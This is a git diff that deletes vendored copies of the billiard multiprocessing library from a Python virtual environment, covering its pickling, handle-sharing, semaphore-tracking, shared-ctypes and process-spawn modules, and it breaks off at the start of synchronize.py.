b/venv/Lib/site-packages/billiard/reduction.py deleted file mode 100644 index 1677ffc96ce4cef64cc7c0abe1e1fad8a8647d29..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/billiard/reduction.py +++ /dev/null @@ -1,293 +0,0 @@ -# -# Module which deals with pickling of objects. -# -# multiprocessing/reduction.py -# -# Copyright (c) 2006-2008, R Oudkerk -# Licensed to PSF under a Contributor Agreement. -# - -import functools -import io -import os -import pickle -import socket -import sys - -from . import context - -__all__ = ['send_handle', 'recv_handle', 'ForkingPickler', 'register', 'dump'] - -PY3 = sys.version_info[0] == 3 - - -HAVE_SEND_HANDLE = (sys.platform == 'win32' or - (hasattr(socket, 'CMSG_LEN') and - hasattr(socket, 'SCM_RIGHTS') and - hasattr(socket.socket, 'sendmsg'))) - -# -# Pickler subclass -# - - -if PY3: - import copyreg - - class ForkingPickler(pickle.Pickler): - '''Pickler subclass used by multiprocessing.''' - _extra_reducers = {} - _copyreg_dispatch_table = copyreg.dispatch_table - - def __init__(self, *args): - super(ForkingPickler, self).__init__(*args) - self.dispatch_table = self._copyreg_dispatch_table.copy() - self.dispatch_table.update(self._extra_reducers) - - @classmethod - def register(cls, type, reduce): - '''Register a reduce function for a type.''' - cls._extra_reducers[type] = reduce - - @classmethod - def dumps(cls, obj, protocol=None): - buf = io.BytesIO() - cls(buf, protocol).dump(obj) - return buf.getbuffer() - - @classmethod - def loadbuf(cls, buf, protocol=None): - return cls.loads(buf.getbuffer()) - - loads = pickle.loads - -else: - - class ForkingPickler(pickle.Pickler): # noqa - '''Pickler subclass used by multiprocessing.''' - dispatch = pickle.Pickler.dispatch.copy() - - @classmethod - def register(cls, type, reduce): - '''Register a reduce function for a type.''' - def dispatcher(self, obj): - rv = reduce(obj) - self.save_reduce(obj=obj, *rv) - cls.dispatch[type] = dispatcher - - @classmethod - def dumps(cls, obj, protocol=None): - buf = io.BytesIO() - cls(buf, protocol).dump(obj) - return buf.getvalue() - - @classmethod - def loadbuf(cls, buf, protocol=None): - return cls.loads(buf.getvalue()) - - @classmethod - def loads(cls, buf, loads=pickle.loads): - if isinstance(buf, io.BytesIO): - buf = buf.getvalue() - return loads(buf) -register = ForkingPickler.register - - -def dump(obj, file, protocol=None): - '''Replacement for pickle.dump() using ForkingPickler.''' - ForkingPickler(file, protocol).dump(obj) - -# -# Platform specific definitions -# - -if sys.platform == 'win32': - # Windows - __all__ += ['DupHandle', 'duplicate', 'steal_handle'] - from .compat import _winapi - - def duplicate(handle, target_process=None, inheritable=False): - '''Duplicate a handle. (target_process is a handle not a pid!)''' - if target_process is None: - target_process = _winapi.GetCurrentProcess() - return _winapi.DuplicateHandle( - _winapi.GetCurrentProcess(), handle, target_process, - 0, inheritable, _winapi.DUPLICATE_SAME_ACCESS) - - def steal_handle(source_pid, handle): - '''Steal a handle from process identified by source_pid.''' - source_process_handle = _winapi.OpenProcess( - _winapi.PROCESS_DUP_HANDLE, False, source_pid) - try: - return _winapi.DuplicateHandle( - source_process_handle, handle, - _winapi.GetCurrentProcess(), 0, False, - _winapi.DUPLICATE_SAME_ACCESS | _winapi.DUPLICATE_CLOSE_SOURCE) - finally: - _winapi.CloseHandle(source_process_handle) - - def send_handle(conn, handle, destination_pid): - '''Send a handle over a local connection.''' - dh = DupHandle(handle, _winapi.DUPLICATE_SAME_ACCESS, destination_pid) - conn.send(dh) - - def recv_handle(conn): - '''Receive a handle over a local connection.''' - return conn.recv().detach() - - class DupHandle: - '''Picklable wrapper for a handle.''' - def __init__(self, handle, access, pid=None): - if pid is None: - # We just duplicate the handle in the current process and - # let the receiving process steal the handle. - pid = os.getpid() - proc = _winapi.OpenProcess(_winapi.PROCESS_DUP_HANDLE, False, pid) - try: - self._handle = _winapi.DuplicateHandle( - _winapi.GetCurrentProcess(), - handle, proc, access, False, 0) - finally: - _winapi.CloseHandle(proc) - self._access = access - self._pid = pid - - def detach(self): - '''Get the handle. This should only be called once.''' - # retrieve handle from process which currently owns it - if self._pid == os.getpid(): - # The handle has already been duplicated for this process. - return self._handle - # We must steal the handle from the process whose pid is self._pid. - proc = _winapi.OpenProcess(_winapi.PROCESS_DUP_HANDLE, False, - self._pid) - try: - return _winapi.DuplicateHandle( - proc, self._handle, _winapi.GetCurrentProcess(), - self._access, False, _winapi.DUPLICATE_CLOSE_SOURCE) - finally: - _winapi.CloseHandle(proc) - -else: - # Unix - __all__ += ['DupFd', 'sendfds', 'recvfds'] - import array - - # On macOS we should acknowledge receipt of fds -- see Issue14669 - ACKNOWLEDGE = sys.platform == 'darwin' - - def sendfds(sock, fds): - '''Send an array of fds over an AF_UNIX socket.''' - fds = array.array('i', fds) - msg = bytes([len(fds) % 256]) - sock.sendmsg([msg], [(socket.SOL_SOCKET, socket.SCM_RIGHTS, fds)]) - if ACKNOWLEDGE and sock.recv(1) != b'A': - raise RuntimeError('did not receive acknowledgement of fd') - - def recvfds(sock, size): - '''Receive an array of fds over an AF_UNIX socket.''' - a = array.array('i') - bytes_size = a.itemsize * size - msg, ancdata, flags, addr = sock.recvmsg( - 1, socket.CMSG_LEN(bytes_size), - ) - if not msg and not ancdata: - raise EOFError - try: - if ACKNOWLEDGE: - sock.send(b'A') - if len(ancdata) != 1: - raise RuntimeError( - 'received %d items of ancdata' % len(ancdata), - ) - cmsg_level, cmsg_type, cmsg_data = ancdata[0] - if (cmsg_level == socket.SOL_SOCKET and - cmsg_type == socket.SCM_RIGHTS): - if len(cmsg_data) % a.itemsize != 0: - raise ValueError - a.frombytes(cmsg_data) - assert len(a) % 256 == msg[0] - return list(a) - except (ValueError, IndexError): - pass - raise RuntimeError('Invalid data received') - - def send_handle(conn, handle, destination_pid): # noqa - '''Send a handle over a local connection.''' - fd = conn.fileno() - with socket.fromfd(fd, socket.AF_UNIX, socket.SOCK_STREAM) as s: - sendfds(s, [handle]) - - def recv_handle(conn): # noqa - '''Receive a handle over a local connection.''' - fd = conn.fileno() - with socket.fromfd(fd, socket.AF_UNIX, socket.SOCK_STREAM) as s: - return recvfds(s, 1)[0] - - def DupFd(fd): - '''Return a wrapper for an fd.''' - popen_obj = context.get_spawning_popen() - if popen_obj is not None: - return popen_obj.DupFd(popen_obj.duplicate_for_child(fd)) - elif HAVE_SEND_HANDLE: - from . import resource_sharer - return resource_sharer.DupFd(fd) - else: - raise ValueError('SCM_RIGHTS appears not to be available') - -# -# Try making some callable types picklable -# - - -def _reduce_method(m): - if m.__self__ is None: - return getattr, (m.__class__, m.__func__.__name__) - else: - return getattr, (m.__self__, m.__func__.__name__) - - -class _C: - def f(self): - pass -register(type(_C().f), _reduce_method) - - -def _reduce_method_descriptor(m): - return getattr, (m.__objclass__, m.__name__) -register(type(list.append), _reduce_method_descriptor) -register(type(int.__add__), _reduce_method_descriptor) - - -def _reduce_partial(p): - return _rebuild_partial, (p.func, p.args, p.keywords or {}) - - -def _rebuild_partial(func, args, keywords): - return functools.partial(func, *args, **keywords) -register(functools.partial, _reduce_partial) - -# -# Make sockets picklable -# - -if sys.platform == 'win32': - - def _reduce_socket(s): - from .resource_sharer import DupSocket - return _rebuild_socket, (DupSocket(s),) - - def _rebuild_socket(ds): - return ds.detach() - register(socket.socket, _reduce_socket) - -else: - - def _reduce_socket(s): # noqa - df = DupFd(s.fileno()) - return _rebuild_socket, (df, s.family, s.type, s.proto) - - def _rebuild_socket(df, family, type, proto): # noqa - fd = df.detach() - return socket.socket(family, type, proto, fileno=fd) - register(socket.socket, _reduce_socket) diff --git a/venv/Lib/site-packages/billiard/resource_sharer.py b/venv/Lib/site-packages/billiard/resource_sharer.py deleted file mode 100644 index 243f5e39d4bfef6e0336e0a5c250818298a0e9cc..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/billiard/resource_sharer.py +++ /dev/null @@ -1,162 +0,0 @@ -# -# We use a background thread for sharing fds on Unix, and for sharing -# sockets on Windows. -# -# A client which wants to pickle a resource registers it with the resource -# sharer and gets an identifier in return. The unpickling process will connect -# to the resource sharer, sends the identifier and its pid, and then receives -# the resource. -# - -import os -import signal -import socket -import sys -import threading - -from . import process -from . import reduction -from . import util - -__all__ = ['stop'] - - -if sys.platform == 'win32': - __all__ += ['DupSocket'] - - class DupSocket: - '''Picklable wrapper for a socket.''' - - def __init__(self, sock): - new_sock = sock.dup() - - def send(conn, pid): - share = new_sock.share(pid) - conn.send_bytes(share) - self._id = _resource_sharer.register(send, new_sock.close) - - def detach(self): - '''Get the socket. This should only be called once.''' - with _resource_sharer.get_connection(self._id) as conn: - share = conn.recv_bytes() - return socket.fromshare(share) - -else: - __all__ += ['DupFd'] - - class DupFd: - '''Wrapper for fd which can be used at any time.''' - def __init__(self, fd): - new_fd = os.dup(fd) - - def send(conn, pid): - reduction.send_handle(conn, new_fd, pid) - - def close(): - os.close(new_fd) - self._id = _resource_sharer.register(send, close) - - def detach(self): - '''Get the fd. This should only be called once.''' - with _resource_sharer.get_connection(self._id) as conn: - return reduction.recv_handle(conn) - - -class _ResourceSharer: - '''Manager for resources using background thread.''' - def __init__(self): - self._key = 0 - self._cache = {} - self._old_locks = [] - self._lock = threading.Lock() - self._listener = None - self._address = None - self._thread = None - util.register_after_fork(self, _ResourceSharer._afterfork) - - def register(self, send, close): - '''Register resource, returning an identifier.''' - with self._lock: - if self._address is None: - self._start() - self._key += 1 - self._cache[self._key] = (send, close) - return (self._address, self._key) - - @staticmethod - def get_connection(ident): - '''Return connection from which to receive identified resource.''' - from .connection import Client - address, key = ident - c = Client(address, authkey=process.current_process().authkey) - c.send((key, os.getpid())) - return c - - def stop(self, timeout=None): - '''Stop the background thread and clear registered resources.''' - from .connection import Client - with self._lock: - if self._address is not None: - c = Client(self._address, - authkey=process.current_process().authkey) - c.send(None) - c.close() - self._thread.join(timeout) - if self._thread.is_alive(): - util.sub_warning('_ResourceSharer thread did ' - 'not stop when asked') - self._listener.close() - self._thread = None - self._address = None - self._listener = None - for key, (send, close) in self._cache.items(): - close() - self._cache.clear() - - def _afterfork(self): - for key, (send, close) in self._cache.items(): - close() - self._cache.clear() - # If self._lock was locked at the time of the fork, it may be broken - # -- see issue 6721. Replace it without letting it be gc'ed. - self._old_locks.append(self._lock) - self._lock = threading.Lock() - if self._listener is not None: - self._listener.close() - self._listener = None - self._address = None - self._thread = None - - def _start(self): - from .connection import Listener - assert self._listener is None - util.debug('starting listener and thread for sending handles') - self._listener = Listener(authkey=process.current_process().authkey) - self._address = self._listener.address - t = threading.Thread(target=self._serve) - t.daemon = True - t.start() - self._thread = t - - def _serve(self): - if hasattr(signal, 'pthread_sigmask'): - signal.pthread_sigmask(signal.SIG_BLOCK, range(1, signal.NSIG)) - while 1: - try: - with self._listener.accept() as conn: - msg = conn.recv() - if msg is None: - break - key, destination_pid = msg - send, close = self._cache.pop(key) - try: - send(conn, destination_pid) - finally: - close() - except: - if not util.is_exiting(): - sys.excepthook(*sys.exc_info()) - - -_resource_sharer = _ResourceSharer() -stop = _resource_sharer.stop diff --git a/venv/Lib/site-packages/billiard/semaphore_tracker.py b/venv/Lib/site-packages/billiard/semaphore_tracker.py deleted file mode 100644 index 8ba0df4aabee1eeb69f0edd7b40322e329ace687..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/billiard/semaphore_tracker.py +++ /dev/null @@ -1,146 +0,0 @@ -# -# On Unix we run a server process which keeps track of unlinked -# semaphores. The server ignores SIGINT and SIGTERM and reads from a -# pipe. Every other process of the program has a copy of the writable -# end of the pipe, so we get EOF when all other processes have exited. -# Then the server process unlinks any remaining semaphore names. -# -# This is important because the system only supports a limited number -# of named semaphores, and they will not be automatically removed till -# the next reboot. Without this semaphore tracker process, "killall -# python" would probably leave unlinked semaphores. -# - -import io -import os -import signal -import sys -import threading -import warnings -from ._ext import _billiard - -from . import spawn -from . import util - -from .compat import spawnv_passfds - -__all__ = ['ensure_running', 'register', 'unregister'] - - -class SemaphoreTracker: - - def __init__(self): - self._lock = threading.Lock() - self._fd = None - - def getfd(self): - self.ensure_running() - return self._fd - - def ensure_running(self): - '''Make sure that semaphore tracker process is running. - - This can be run from any process. Usually a child process will use - the semaphore created by its parent.''' - with self._lock: - if self._fd is not None: - return - fds_to_pass = [] - try: - fds_to_pass.append(sys.stderr.fileno()) - except Exception: - pass - cmd = 'from billiard.semaphore_tracker import main;main(%d)' - r, w = os.pipe() - try: - fds_to_pass.append(r) - # process will out live us, so no need to wait on pid - exe = spawn.get_executable() - args = [exe] + util._args_from_interpreter_flags() - args += ['-c', cmd % r] - spawnv_passfds(exe, args, fds_to_pass) - except: - os.close(w) - raise - else: - self._fd = w - finally: - os.close(r) - - def register(self, name): - '''Register name of semaphore with semaphore tracker.''' - self._send('REGISTER', name) - - def unregister(self, name): - '''Unregister name of semaphore with semaphore tracker.''' - self._send('UNREGISTER', name) - - def _send(self, cmd, name): - self.ensure_running() - msg = '{0}:{1}\n'.format(cmd, name).encode('ascii') - if len(name) > 512: - # posix guarantees that writes to a pipe of less than PIPE_BUF - # bytes are atomic, and that PIPE_BUF >= 512 - raise ValueError('name too long') - nbytes = os.write(self._fd, msg) - assert nbytes == len(msg) - - -_semaphore_tracker = SemaphoreTracker() -ensure_running = _semaphore_tracker.ensure_running -register = _semaphore_tracker.register -unregister = _semaphore_tracker.unregister -getfd = _semaphore_tracker.getfd - - -def main(fd): - '''Run semaphore tracker.''' - # protect the process from ^C and "killall python" etc - signal.signal(signal.SIGINT, signal.SIG_IGN) - signal.signal(signal.SIGTERM, signal.SIG_IGN) - - for f in (sys.stdin, sys.stdout): - try: - f.close() - except Exception: - pass - - cache = set() - try: - # keep track of registered/unregistered semaphores - with io.open(fd, 'rb') as f: - for line in f: - try: - cmd, name = line.strip().split(b':') - if cmd == b'REGISTER': - cache.add(name) - elif cmd == b'UNREGISTER': - cache.remove(name) - else: - raise RuntimeError('unrecognized command %r' % cmd) - except Exception: - try: - sys.excepthook(*sys.exc_info()) - except: - pass - finally: - # all processes have terminated; cleanup any remaining semaphores - if cache: - try: - warnings.warn('semaphore_tracker: There appear to be %d ' - 'leaked semaphores to clean up at shutdown' % - len(cache)) - except Exception: - pass - for name in cache: - # For some reason the process which created and registered this - # semaphore has failed to unregister it. Presumably it has died. - # We therefore unlink it. - try: - name = name.decode('ascii') - try: - _billiard.sem_unlink(name) - except Exception as e: - warnings.warn('semaphore_tracker: %r: %s' % (name, e)) - finally: - pass diff --git a/venv/Lib/site-packages/billiard/sharedctypes.py b/venv/Lib/site-packages/billiard/sharedctypes.py deleted file mode 100644 index 0b6589bfcafad1c28c5527b1fd1948cd0cc623df..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/billiard/sharedctypes.py +++ /dev/null @@ -1,258 +0,0 @@ -# -# Module which supports allocation of ctypes objects from shared memory -# -# multiprocessing/sharedctypes.py -# -# Copyright (c) 2006-2008, R Oudkerk -# Licensed to PSF under a Contributor Agreement. -# - -import ctypes -import sys -import weakref - -from . import heap -from . import get_context -from .context import assert_spawning -from .reduction import ForkingPickler - -__all__ = ['RawValue', 'RawArray', 'Value', 'Array', 'copy', 'synchronized'] - -PY3 = sys.version_info[0] == 3 - -typecode_to_type = { - 'c': ctypes.c_char, 'u': ctypes.c_wchar, - 'b': ctypes.c_byte, 'B': ctypes.c_ubyte, - 'h': ctypes.c_short, 'H': ctypes.c_ushort, - 'i': ctypes.c_int, 'I': ctypes.c_uint, - 'l': ctypes.c_long, 'L': ctypes.c_ulong, - 'f': ctypes.c_float, 'd': ctypes.c_double -} - - -def _new_value(type_): - size = ctypes.sizeof(type_) - wrapper = heap.BufferWrapper(size) - return rebuild_ctype(type_, wrapper, None) - - -def RawValue(typecode_or_type, *args): - ''' - Returns a ctypes object allocated from shared memory - ''' - type_ = typecode_to_type.get(typecode_or_type, typecode_or_type) - obj = _new_value(type_) - ctypes.memset(ctypes.addressof(obj), 0, ctypes.sizeof(obj)) - obj.__init__(*args) - return obj - - -def RawArray(typecode_or_type, size_or_initializer): - ''' - Returns a ctypes array allocated from shared memory - ''' - type_ = typecode_to_type.get(typecode_or_type, typecode_or_type) - if isinstance(size_or_initializer, int): - type_ = type_ * size_or_initializer - obj = _new_value(type_) - ctypes.memset(ctypes.addressof(obj), 0, ctypes.sizeof(obj)) - return obj - else: - type_ = type_ * len(size_or_initializer) - result = _new_value(type_) - result.__init__(*size_or_initializer) - return result - - -def Value(typecode_or_type, *args, **kwds): - ''' - Return a synchronization wrapper for a Value - ''' - lock = kwds.pop('lock', None) - ctx = kwds.pop('ctx', None) - if kwds: - raise ValueError( - 'unrecognized keyword argument(s): %s' % list(kwds.keys())) - obj = RawValue(typecode_or_type, *args) - if lock is False: - return obj - if lock in (True, None): - ctx = ctx or get_context() - lock = ctx.RLock() - if not hasattr(lock, 'acquire'): - raise AttributeError("'%r' has no method 'acquire'" % lock) - return synchronized(obj, lock, ctx=ctx) - - -def Array(typecode_or_type, size_or_initializer, **kwds): - ''' - Return a synchronization wrapper for a RawArray - ''' - lock = kwds.pop('lock', None) - ctx = kwds.pop('ctx', None) - if kwds: - raise ValueError( - 'unrecognized keyword argument(s): %s' % list(kwds.keys())) - obj = RawArray(typecode_or_type, size_or_initializer) - if lock is False: - return obj - if lock in (True, None): - ctx = ctx or get_context() - lock = ctx.RLock() - if not hasattr(lock, 'acquire'): - raise AttributeError("'%r' has no method 'acquire'" % lock) - return synchronized(obj, lock, ctx=ctx) - - -def copy(obj): - new_obj = _new_value(type(obj)) - ctypes.pointer(new_obj)[0] = obj - return new_obj - - -def synchronized(obj, lock=None, ctx=None): - assert not isinstance(obj, SynchronizedBase), 'object already synchronized' - ctx = ctx or get_context() - - if isinstance(obj, ctypes._SimpleCData): - return Synchronized(obj, lock, ctx) - elif isinstance(obj, ctypes.Array): - if obj._type_ is ctypes.c_char: - return SynchronizedString(obj, lock, ctx) - return SynchronizedArray(obj, lock, ctx) - else: - cls = type(obj) - try: - scls = class_cache[cls] - except KeyError: - names = [field[0] for field in cls._fields_] - d = dict((name, make_property(name)) for name in names) - classname = 'Synchronized' + cls.__name__ - scls = class_cache[cls] = type(classname, (SynchronizedBase,), d) - return scls(obj, lock, ctx) - -# -# Functions for pickling/unpickling -# - - -def reduce_ctype(obj): - assert_spawning(obj) - if isinstance(obj, ctypes.Array): - return rebuild_ctype, (obj._type_, obj._wrapper, obj._length_) - else: - return rebuild_ctype, (type(obj), obj._wrapper, None) - - -def rebuild_ctype(type_, wrapper, length): - if length is not None: - type_ = type_ * length - ForkingPickler.register(type_, reduce_ctype) - if PY3: - buf = wrapper.create_memoryview() - obj = type_.from_buffer(buf) - else: - obj = type_.from_address(wrapper.get_address()) - obj._wrapper = wrapper - return obj - -# -# Function to create properties -# - - -def make_property(name): - try: - return prop_cache[name] - except KeyError: - d = {} - exec(template % ((name, ) * 7), d) - prop_cache[name] = d[name] - return d[name] - - -template = ''' -def get%s(self): - self.acquire() - try: - return self._obj.%s - finally: - self.release() -def set%s(self, value): - self.acquire() - try: - self._obj.%s = value - finally: - self.release() -%s = property(get%s, set%s) -''' - -prop_cache = {} -class_cache = weakref.WeakKeyDictionary() - -# -# Synchronized wrappers -# - - -class SynchronizedBase: - - def __init__(self, obj, lock=None, ctx=None): - self._obj = obj - if lock: - self._lock = lock - else: - ctx = ctx or get_context(force=True) - self._lock = ctx.RLock() - self.acquire = self._lock.acquire - self.release = self._lock.release - - def __enter__(self): - return self._lock.__enter__() - - def __exit__(self, *args): - return self._lock.__exit__(*args) - - def __reduce__(self): - assert_spawning(self) - return synchronized, (self._obj, self._lock) - - def get_obj(self): - return self._obj - - def get_lock(self): - return self._lock - - def __repr__(self): - return '<%s wrapper for %s>' % (type(self).__name__, self._obj) - - -class Synchronized(SynchronizedBase): - value = make_property('value') - - -class SynchronizedArray(SynchronizedBase): - - def __len__(self): - return len(self._obj) - - def __getitem__(self, i): - with self: - return self._obj[i] - - def __setitem__(self, i, value): - with self: - self._obj[i] = value - - def __getslice__(self, start, stop): - with self: - return self._obj[start:stop] - - def __setslice__(self, start, stop, values): - with self: - self._obj[start:stop] = values - - -class SynchronizedString(SynchronizedArray): - value = make_property('value') - raw = make_property('raw') diff --git a/venv/Lib/site-packages/billiard/spawn.py b/venv/Lib/site-packages/billiard/spawn.py deleted file mode 100644 index 9a294773c6d6fd8750570ea78d7d79d568f16220..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/billiard/spawn.py +++ /dev/null @@ -1,389 +0,0 @@ -# -# Code used to start processes when using the spawn or forkserver -# start methods. -# -# multiprocessing/spawn.py -# -# Copyright (c) 2006-2008, R Oudkerk -# Licensed to PSF under a Contributor Agreement. -# - -import io -import os -import pickle -import sys -import runpy -import types -import warnings - -from . import get_start_method, set_start_method -from . import process -from . import util - -__all__ = ['_main', 'freeze_support', 'set_executable', 'get_executable', - 'get_preparation_data', 'get_command_line', 'import_main_path'] - -W_OLD_DJANGO_LAYOUT = """\ -Will add directory %r to path! This is necessary to accommodate \ -pre-Django 1.4 layouts using setup_environ. -You can skip this warning by adding a DJANGO_SETTINGS_MODULE=settings \ -environment variable. -""" - -# -# _python_exe is the assumed path to the python executable. -# People embedding Python want to modify it. -# - -if sys.platform != 'win32': - WINEXE = False - WINSERVICE = False -else: - WINEXE = (sys.platform == 'win32' and getattr(sys, 'frozen', False)) - WINSERVICE = sys.executable.lower().endswith("pythonservice.exe") - -if WINSERVICE: - _python_exe = os.path.join(sys.exec_prefix, 'python.exe') -else: - _python_exe = sys.executable - - -def _module_parent_dir(mod): - dir, filename = os.path.split(_module_dir(mod)) - if dir == os.curdir or not dir: - dir = os.getcwd() - return dir - - -def _module_dir(mod): - if '__init__.py' in mod.__file__: - return os.path.dirname(mod.__file__) - return mod.__file__ - - -def _Django_old_layout_hack__save(): - if 'DJANGO_PROJECT_DIR' not in os.environ: - try: - settings_name = os.environ['DJANGO_SETTINGS_MODULE'] - except KeyError: - return # not using Django. - - conf_settings = sys.modules.get('django.conf.settings') - configured = conf_settings and conf_settings.configured - try: - project_name, _ = settings_name.split('.', 1) - except ValueError: - return # not modified by setup_environ - - project = __import__(project_name) - try: - project_dir = os.path.normpath(_module_parent_dir(project)) - except AttributeError: - return # dynamically generated module (no __file__) - if configured: - warnings.warn(UserWarning( - W_OLD_DJANGO_LAYOUT % os.path.realpath(project_dir) - )) - os.environ['DJANGO_PROJECT_DIR'] = project_dir - - -def _Django_old_layout_hack__load(): - try: - sys.path.append(os.environ['DJANGO_PROJECT_DIR']) - except KeyError: - pass - - -def set_executable(exe): - global _python_exe - _python_exe = exe - - -def get_executable(): - return _python_exe - -# -# -# - - -def is_forking(argv): - ''' - Return whether commandline indicates we are forking - ''' - if len(argv) >= 2 and argv[1] == '--billiard-fork': - return True - else: - return False - - -def freeze_support(): - ''' - Run code for process object if this in not the main process - ''' - if is_forking(sys.argv): - kwds = {} - for arg in sys.argv[2:]: - name, value = arg.split('=') - if value == 'None': - kwds[name] = None - else: - kwds[name] = int(value) - spawn_main(**kwds) - sys.exit() - - -def get_command_line(**kwds): - ''' - Returns prefix of command line used for spawning a child process - ''' - if getattr(sys, 'frozen', False): - return ([sys.executable, '--billiard-fork'] + - ['%s=%r' % item for item in kwds.items()]) - else: - prog = 'from billiard.spawn import spawn_main; spawn_main(%s)' - prog %= ', '.join('%s=%r' % item for item in kwds.items()) - opts = util._args_from_interpreter_flags() - return [_python_exe] + opts + ['-c', prog, '--billiard-fork'] - - -def spawn_main(pipe_handle, parent_pid=None, tracker_fd=None): - ''' - Run code specified by data received over pipe - ''' - assert is_forking(sys.argv) - if sys.platform == 'win32': - import msvcrt - from .reduction import steal_handle - new_handle = steal_handle(parent_pid, pipe_handle) - fd = msvcrt.open_osfhandle(new_handle, os.O_RDONLY) - else: - from . import semaphore_tracker - semaphore_tracker._semaphore_tracker._fd = tracker_fd - fd = pipe_handle - exitcode = _main(fd) - sys.exit(exitcode) - - -def _setup_logging_in_child_hack(): - # Huge hack to make logging before Process.run work. - try: - os.environ["MP_MAIN_FILE"] = sys.modules["__main__"].__file__ - except KeyError: - pass - except AttributeError: - pass - loglevel = os.environ.get("_MP_FORK_LOGLEVEL_") - logfile = os.environ.get("_MP_FORK_LOGFILE_") or None - format = os.environ.get("_MP_FORK_LOGFORMAT_") - if loglevel: - from . import util - import logging - logger = util.get_logger() - logger.setLevel(int(loglevel)) - if not logger.handlers: - logger._rudimentary_setup = True - logfile = logfile or sys.__stderr__ - if hasattr(logfile, "write"): - handler = logging.StreamHandler(logfile) - else: - handler = logging.FileHandler(logfile) - formatter = logging.Formatter( - format or util.DEFAULT_LOGGING_FORMAT, - ) - handler.setFormatter(formatter) - logger.addHandler(handler) - - -def _main(fd): - _Django_old_layout_hack__load() - with io.open(fd, 'rb', closefd=True) as from_parent: - process.current_process()._inheriting = True - try: - preparation_data = pickle.load(from_parent) - prepare(preparation_data) - _setup_logging_in_child_hack() - self = pickle.load(from_parent) - finally: - del process.current_process()._inheriting - return self._bootstrap() - - -def _check_not_importing_main(): - if getattr(process.current_process(), '_inheriting', False): - raise RuntimeError(''' - An attempt has been made to start a new process before the - current process has finished its bootstrapping phase. - - This probably means that you are not using fork to start your - child processes and you have forgotten to use the proper idiom - in the main module: - - if __name__ == '__main__': - freeze_support() - ... - - The "freeze_support()" line can be omitted if the program - is not going to be frozen to produce an executable.''') - - -def get_preparation_data(name): - ''' - Return info about parent needed by child to unpickle process object - ''' - _check_not_importing_main() - d = dict( - log_to_stderr=util._log_to_stderr, - authkey=process.current_process().authkey, - ) - - if util._logger is not None: - d['log_level'] = util._logger.getEffectiveLevel() - - sys_path = sys.path[:] - try: - i = sys_path.index('') - except ValueError: - pass - else: - sys_path[i] = process.ORIGINAL_DIR - - d.update( - name=name, - sys_path=sys_path, - sys_argv=sys.argv, - orig_dir=process.ORIGINAL_DIR, - dir=os.getcwd(), - start_method=get_start_method(), - ) - - # Figure out whether to initialise main in the subprocess as a module - # or through direct execution (or to leave it alone entirely) - main_module = sys.modules['__main__'] - try: - main_mod_name = main_module.__spec__.name - except AttributeError: - main_mod_name = main_module.__name__ - if main_mod_name is not None: - d['init_main_from_name'] = main_mod_name - elif sys.platform != 'win32' or (not WINEXE and not WINSERVICE): - main_path = getattr(main_module, '__file__', None) - if main_path is not None: - if (not os.path.isabs(main_path) and - process.ORIGINAL_DIR is not None): - main_path = os.path.join(process.ORIGINAL_DIR, main_path) - d['init_main_from_path'] = os.path.normpath(main_path) - - return d - -# -# Prepare current process -# - - -old_main_modules = [] - - -def prepare(data): - ''' - Try to get current process ready to unpickle process object - ''' - if 'name' in data: - process.current_process().name = data['name'] - - if 'authkey' in data: - process.current_process().authkey = data['authkey'] - - if 'log_to_stderr' in data and data['log_to_stderr']: - util.log_to_stderr() - - if 'log_level' in data: - util.get_logger().setLevel(data['log_level']) - - if 'sys_path' in data: - sys.path = data['sys_path'] - - if 'sys_argv' in data: - sys.argv = data['sys_argv'] - - if 'dir' in data: - os.chdir(data['dir']) - - if 'orig_dir' in data: - process.ORIGINAL_DIR = data['orig_dir'] - - if 'start_method' in data: - set_start_method(data['start_method']) - - if 'init_main_from_name' in data: - _fixup_main_from_name(data['init_main_from_name']) - elif 'init_main_from_path' in data: - _fixup_main_from_path(data['init_main_from_path']) - -# Multiprocessing module helpers to fix up the main module in -# spawned subprocesses - - -def _fixup_main_from_name(mod_name): - # __main__.py files for packages, directories, zip archives, etc, run - # their "main only" code unconditionally, so we don't even try to - # populate anything in __main__, nor do we make any changes to - # __main__ attributes - current_main = sys.modules['__main__'] - if mod_name == "__main__" or mod_name.endswith(".__main__"): - return - - # If this process was forked, __main__ may already be populated - try: - current_main_name = current_main.__spec__.name - except AttributeError: - current_main_name = current_main.__name__ - - if current_main_name == mod_name: - return - - # Otherwise, __main__ may contain some non-main code where we need to - # support unpickling it properly. We rerun it as __mp_main__ and make - # the normal __main__ an alias to that - old_main_modules.append(current_main) - main_module = types.ModuleType("__mp_main__") - main_content = runpy.run_module(mod_name, - run_name="__mp_main__", - alter_sys=True) - main_module.__dict__.update(main_content) - sys.modules['__main__'] = sys.modules['__mp_main__'] = main_module - - -def _fixup_main_from_path(main_path): - # If this process was forked, __main__ may already be populated - current_main = sys.modules['__main__'] - - # Unfortunately, the main ipython launch script historically had no - # "if __name__ == '__main__'" guard, so we work around that - # by treating it like a __main__.py file - # See https://github.com/ipython/ipython/issues/4698 - main_name = os.path.splitext(os.path.basename(main_path))[0] - if main_name == 'ipython': - return - - # Otherwise, if __file__ already has the setting we expect, - # there's nothing more to do - if getattr(current_main, '__file__', None) == main_path: - return - - # If the parent process has sent a path through rather than a module - # name we assume it is an executable script that may contain - # non-main code that needs to be executed - old_main_modules.append(current_main) - main_module = types.ModuleType("__mp_main__") - main_content = runpy.run_path(main_path, - run_name="__mp_main__") - main_module.__dict__.update(main_content) - sys.modules['__main__'] = sys.modules['__mp_main__'] = main_module - - -def import_main_path(main_path): - ''' - Set sys.modules['__main__'] to module at main_path - ''' - _fixup_main_from_path(main_path) diff --git a/venv/Lib/site-packages/billiard/synchronize.py b/venv/Lib/site-packages/billiard/synchronize.py deleted file mode 100644 index c864064a84f67a7e593c7dd5e40a74848a7b0771..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/billiard/synchronize.py +++ /dev/null @@ -1,436 +0,0 @@ -# -# Module implementing synchronization primitives -# -# multiprocessing/synchronize.py -# -# Copyright (c) 2006-2008, R Oudkerk -# Licensed to PSF under a Contributor Agreement. -# - -import errno -import sys -import tempfile -import threading - -from . import context -from . import process -from . import util - -from ._ext import _billiard, ensure_SemLock -from time import monotonic - -__all__ = [ - 'Lock', 'RLock', 'Semaphore', 'BoundedSemaphore', 'Condition', 'Event', -] - -# Try to import the mp.synchronize module cleanly, if it fails -# raise ImportError for 